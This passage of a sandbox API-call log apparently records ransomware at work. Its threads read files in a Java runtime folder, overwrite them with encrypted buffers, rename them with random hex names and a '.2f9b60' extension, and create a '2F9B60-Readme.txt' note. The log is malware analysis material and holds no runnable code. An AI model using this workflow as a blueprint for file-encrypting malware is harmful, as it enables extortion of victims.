Size=0x20) returned 0x423a4550 [0179.026] NtQuerySystemTime (in: CurrentTime=0x5455f580 | out: CurrentTime=0x5455f580*=132462177841342000) returned 0x0 [0179.026] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x123cd6ef [0179.026] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x49e5eca0 [0179.026] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x776c2c3 [0179.026] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x102f1426 [0179.026] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x73e1e8b4 [0179.026] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x1aa0d21d [0179.026] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x3884512e [0179.026] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x471c6c18 [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x35a7bcc7 [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x49fd0cf [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x3a46c0bd [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x361fd0ce [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x61955596 [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x28cfbe04 [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x18343554 [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x2b5da105 [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x5b1f12b4 [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x19dc1726 [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x20b139b6 [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x192ef90e [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x300b08c6 [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x5f7339f3 [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x5c40f462 [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x566cb530 [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x5721c0a7 [0179.027] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x3c9e1fd2 [0179.028] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x4353d9ea [0179.028] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x421590e [0179.028] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x51f7371b [0179.028] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x3389f0f3 [0179.028] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x7660ea1e [0179.028] RtlRandomEx (in: Seed=0x5455f570 | out: Seed=0x5455f570) returned 0x16e34d53 [0179.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4580 [0179.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb98e0 [0179.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a45e0 [0179.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb98e0) returned 1 [0179.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4550) returned 1 [0179.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0a70) returned 1 [0179.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce622d0 [0179.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb98e0 [0179.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0a70 [0179.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0a70) returned 1 [0179.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42f55d20 [0179.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42f59930 [0179.042] ReadFile (in: hFile=0x3068, lpBuffer=0x42f55d20, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x5455f570, lpOverlapped=0x0 | out: lpBuffer=0x42f55d20*, lpNumberOfBytesRead=0x5455f570*=0x1b, lpOverlapped=0x0) returned 1 [0181.862] SetFilePointerEx (in: hFile=0x3068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.862] WriteFile (in: hFile=0x3068, lpBuffer=0x42f59930*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x5455f574, lpOverlapped=0x0 | out: lpBuffer=0x42f59930*, lpNumberOfBytesWritten=0x5455f574*=0x1b, lpOverlapped=0x0) returned 1 [0190.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137b40 [0190.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137b70 [0190.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43137b70) returned 1 [0190.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f59930) returned 1 [0190.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f55d20) returned 1 [0190.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb98e0) returned 1 [0190.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce622d0) returned 1 [0190.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0efe0 [0190.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce622d0 [0190.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb98e0 [0190.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137b70 [0190.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43137b70) returned 1 [0190.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f000 [0190.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137b70 [0190.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137ba0 [0190.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43137ba0) returned 1 [0190.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb98e0) returned 1 [0190.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce622d0) returned 1 [0190.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfc) returned 0x4315d930 [0190.069] SetFilePointerEx (in: hFile=0x3068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0190.069] WriteFile (in: hFile=0x3068, lpBuffer=0x4315d930*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x5455f690, lpOverlapped=0x0 | out: lpBuffer=0x4315d930*, lpNumberOfBytesWritten=0x5455f690*=0xfc, lpOverlapped=0x0) returned 1 [0202.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a730 [0202.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2eb80 [0202.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2eb80) returned 1 [0202.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x42c0f060 [0202.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2eb80 [0202.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2eb50 [0202.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2eb50) returned 1 [0202.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a730) returned 1 [0202.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x15) returned 0x42c0f080 [0202.631] sprintf (in: _Dest=0x42c0f080, _Format="%c%c" | out: _Dest="c6") returned 2 [0202.631] sprintf (in: _Dest=0x42c0f082, _Format="%c%c" | out: _Dest="31") returned 2 [0202.631] sprintf (in: _Dest=0x42c0f084, _Format="%c%c" | out: _Dest="7e") returned 2 [0202.631] sprintf (in: _Dest=0x42c0f086, _Format="%c%c" | out: _Dest="39") returned 2 [0202.631] sprintf (in: _Dest=0x42c0f088, _Format="%c%c" | out: _Dest="5f") returned 2 [0202.631] sprintf (in: _Dest=0x42c0f08a, _Format="%c%c" | out: _Dest="18") returned 2 [0202.631] sprintf (in: _Dest=0x42c0f08c, _Format="%c%c" | out: _Dest="ee") returned 2 [0202.631] sprintf (in: _Dest=0x42c0f08e, _Format="%c%c" | out: _Dest="35") returned 2 [0202.631] sprintf (in: _Dest=0x42c0f090, _Format="%c%c" | out: _Dest="49") returned 2 [0202.631] sprintf (in: _Dest=0x42c0f092, _Format="%c%c" | out: _Dest="95") returned 2 [0202.632] RtlInitAnsiString (in: DestinationString=0x5455f708, SourceString="c6317e395f18ee354995" | out: DestinationString="c6317e395f18ee354995") [0202.632] RtlAnsiStringToUnicodeString (in: DestinationString=0x5455f6d8, SourceString="c6317e395f18ee354995", AllocateDestinationString=1 | out: DestinationString="c6317e395f18ee354995") returned 0x0 [0202.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5d370 [0202.632] wcscat (in: _Dest=0x1ce5a730, _Source="c6317" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\c6317") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\c6317" [0202.632] wcscat (in: _Dest=0x1ce5a730, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\c6317.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\c6317.2f9b60" [0202.632] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\c6317.2f9b60", NtPathName=0x5455f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\c6317.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4319d8a0 Thread: id = 3333 os_tid = 0x18f4 [0172.153] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Guadalcanal" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\guadalcanal")) returned 0x20 [0172.153] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Guadalcanal", dwFileAttributes=0x20) returned 1 [0176.886] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Guadalcanal" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\guadalcanal"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2fe4 [0178.382] GetFileSizeEx (in: hFile=0x2fe4, lpFileSize=0x55dafe00 | out: lpFileSize=0x55dafe00*=65) returned 1 [0178.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a64a0 [0178.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5540 [0178.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a53f0 [0178.383] NtQuerySystemTime (in: CurrentTime=0x55dafcc0 | out: CurrentTime=0x55dafcc0*=132462177834790000) returned 0x0 [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x34645dd [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x45ddc676 [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x930c9c3 [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x6caf3204 [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x694d13f2 [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x1dc54fbc [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x7e587095 [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x599420d [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x1b83f8f8 [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x605884 [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x202afb31 [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x323faeb [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x62e60d97 [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0xbd30b18 [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x4131fe9f [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x4a421645 [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x5d9497d [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x952eb4f [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x71f3b137 [0178.383] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0xdbb521f [0178.384] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x26ed8e79 [0178.384] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x2d5df23e [0178.384] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x15d55279 [0178.384] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x771a0e79 [0178.384] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x1345a738 [0178.384] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x3fede376 [0178.384] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x405bc2df [0178.384] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x2c98e362 [0178.384] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x167361b1 [0178.384] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x3fb05fdf [0178.384] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x27bc0d71 [0178.384] RtlRandomEx (in: Seed=0x55dafcb0 | out: Seed=0x55dafcb0) returned 0x37f21bf5 [0178.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a53c0 [0178.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb8be0 [0178.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a52d0 [0178.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb8be0) returned 1 [0178.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a53f0) returned 1 [0178.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a64a0) returned 1 [0178.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61ab0 [0178.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb8be0 [0178.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a64a0 [0178.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a64a0) returned 1 [0178.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ea4d60 [0178.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42ea8970 [0178.396] ReadFile (in: hFile=0x2fe4, lpBuffer=0x42ea4d60, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x55dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x42ea4d60*, lpNumberOfBytesRead=0x55dafcb0*=0x41, lpOverlapped=0x0) returned 1 [0181.796] SetFilePointerEx (in: hFile=0x2fe4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.796] WriteFile (in: hFile=0x2fe4, lpBuffer=0x42ea8970*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x55dafcb4, lpOverlapped=0x0 | out: lpBuffer=0x42ea8970*, lpNumberOfBytesWritten=0x55dafcb4*=0x41, lpOverlapped=0x0) returned 1 [0189.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c780 [0189.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c660 [0189.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c660) returned 1 [0189.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ea8970) returned 1 [0189.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ea4d60) returned 1 [0189.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb8be0) returned 1 [0189.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61ab0) returned 1 [0189.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42d2c660 [0189.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61ab0 [0189.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb8be0 [0189.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c690 [0189.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c690) returned 1 [0189.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42d2c690 [0189.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c6f0 [0189.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c6c0 [0189.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c6c0) returned 1 [0189.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb8be0) returned 1 [0189.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61ab0) returned 1 [0189.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c0b6a0 [0189.792] SetFilePointerEx (in: hFile=0x2fe4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0189.792] WriteFile (in: hFile=0x2fe4, lpBuffer=0x42c0b6a0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x55dafdd0, lpOverlapped=0x0 | out: lpBuffer=0x42c0b6a0*, lpNumberOfBytesWritten=0x55dafdd0*=0x108, lpOverlapped=0x0) returned 1 [0202.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a230 [0202.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5480 [0202.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5480) returned 1 [0202.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0ec20 [0202.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5480 [0202.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a54b0 [0202.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a54b0) returned 1 [0202.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a230) returned 1 [0202.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5dbf0 [0202.470] sprintf (in: _Dest=0x1ce5dbf0, _Format="%c%c" | out: _Dest="58") returned 2 [0202.470] sprintf (in: _Dest=0x1ce5dbf2, _Format="%c%c" | out: _Dest="84") returned 2 [0202.470] sprintf (in: _Dest=0x1ce5dbf4, _Format="%c%c" | out: _Dest="9c") returned 2 [0202.470] sprintf (in: _Dest=0x1ce5dbf6, _Format="%c%c" | out: _Dest="99") returned 2 [0202.470] sprintf (in: _Dest=0x1ce5dbf8, _Format="%c%c" | out: _Dest="78") returned 2 [0202.470] sprintf (in: _Dest=0x1ce5dbfa, _Format="%c%c" | out: _Dest="9f") returned 2 [0202.471] sprintf (in: _Dest=0x1ce5dbfc, _Format="%c%c" | out: _Dest="ab") returned 2 [0202.471] sprintf (in: _Dest=0x1ce5dbfe, _Format="%c%c" | out: _Dest="e0") returned 2 [0202.471] sprintf (in: _Dest=0x1ce5dc00, _Format="%c%c" | out: _Dest="14") returned 2 [0202.471] sprintf (in: _Dest=0x1ce5dc02, _Format="%c%c" | out: _Dest="70") returned 2 [0202.471] sprintf (in: _Dest=0x1ce5dc04, _Format="%c%c" | out: _Dest="52") returned 2 [0202.471] sprintf (in: _Dest=0x1ce5dc06, _Format="%c%c" | out: _Dest="90") returned 2 [0202.471] sprintf (in: _Dest=0x1ce5dc08, _Format="%c%c" | out: _Dest="c3") returned 2 [0202.471] sprintf (in: _Dest=0x1ce5dc0a, _Format="%c%c" | out: _Dest="a6") returned 2 [0202.471] sprintf (in: _Dest=0x1ce5dc0c, _Format="%c%c" | out: _Dest="44") returned 2 [0202.471] sprintf (in: _Dest=0x1ce5dc0e, _Format="%c%c" | out: _Dest="a3") returned 2 [0202.471] sprintf (in: _Dest=0x1ce5dc10, _Format="%c%c" | out: _Dest="8d") returned 2 [0202.471] sprintf (in: _Dest=0x1ce5dc12, _Format="%c%c" | out: _Dest="02") returned 2 [0202.471] sprintf (in: _Dest=0x1ce5dc14, _Format="%c%c" | out: _Dest="fa") returned 2 [0202.471] sprintf (in: _Dest=0x1ce5dc16, _Format="%c%c" | out: _Dest="86") returned 2 [0202.471] sprintf (in: _Dest=0x1ce5dc18, _Format="%c%c" | out: _Dest="53") returned 2 [0202.471] sprintf (in: _Dest=0x1ce5dc1a, _Format="%c%c" | out: _Dest="f7") returned 2 [0202.471] RtlInitAnsiString (in: DestinationString=0x55dafe48, SourceString="58849c99789fabe014705290c3a644a38d02fa8653f7" | out: DestinationString="58849c99789fabe014705290c3a644a38d02fa8653f7") [0202.471] RtlAnsiStringToUnicodeString (in: DestinationString=0x55dafe18, SourceString="58849c99789fabe014705290c3a644a38d02fa8653f7", AllocateDestinationString=1 | out: DestinationString="58849c99789fabe014705290c3a644a38d02fa8653f7") returned 0x0 [0202.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced8ad0 [0202.472] wcscat (in: _Dest=0x431a2cc0, _Source="58849c99789" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\58849c99789") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\58849c99789" [0202.472] wcscat (in: _Dest=0x431a2cc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\58849c99789.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\58849c99789.2f9b60" [0202.472] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\58849c99789.2f9b60", NtPathName=0x55dafdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\58849c99789.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cec0080 [0237.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec0080) returned 1 [0237.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432175e0) returned 1 [0237.900] NtQueryInformationFile (in: FileHandle=0x2fe4, IoStatusBlock=0x55dafe58, FileInformation=0x55dafe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x55dafe58, FileInformation=0x55dafe68) returned 0x0 [0237.900] NtSetInformationFile (FileHandle=0x2fe4, IoStatusBlock=0x55dafe58, FileInformation=0x55dafe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a2cc0) returned 1 [0240.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8ad0) returned 1 [0240.248] FlushFileBuffers (hFile=0x2fe4) returned 1 [0240.250] CloseHandle (hObject=0x2fe4) returned 1 [0242.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x43155380 [0242.552] wcscpy (in: _Dest=0x43155380, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\" [0242.552] wcscat (in: _Dest=0x43155380, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\2F9B60-Readme.txt" [0242.552] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\2f9b60-readme.txt")) returned 0xffffffff [0242.661] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 3403 os_tid = 0x1688 [0172.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: 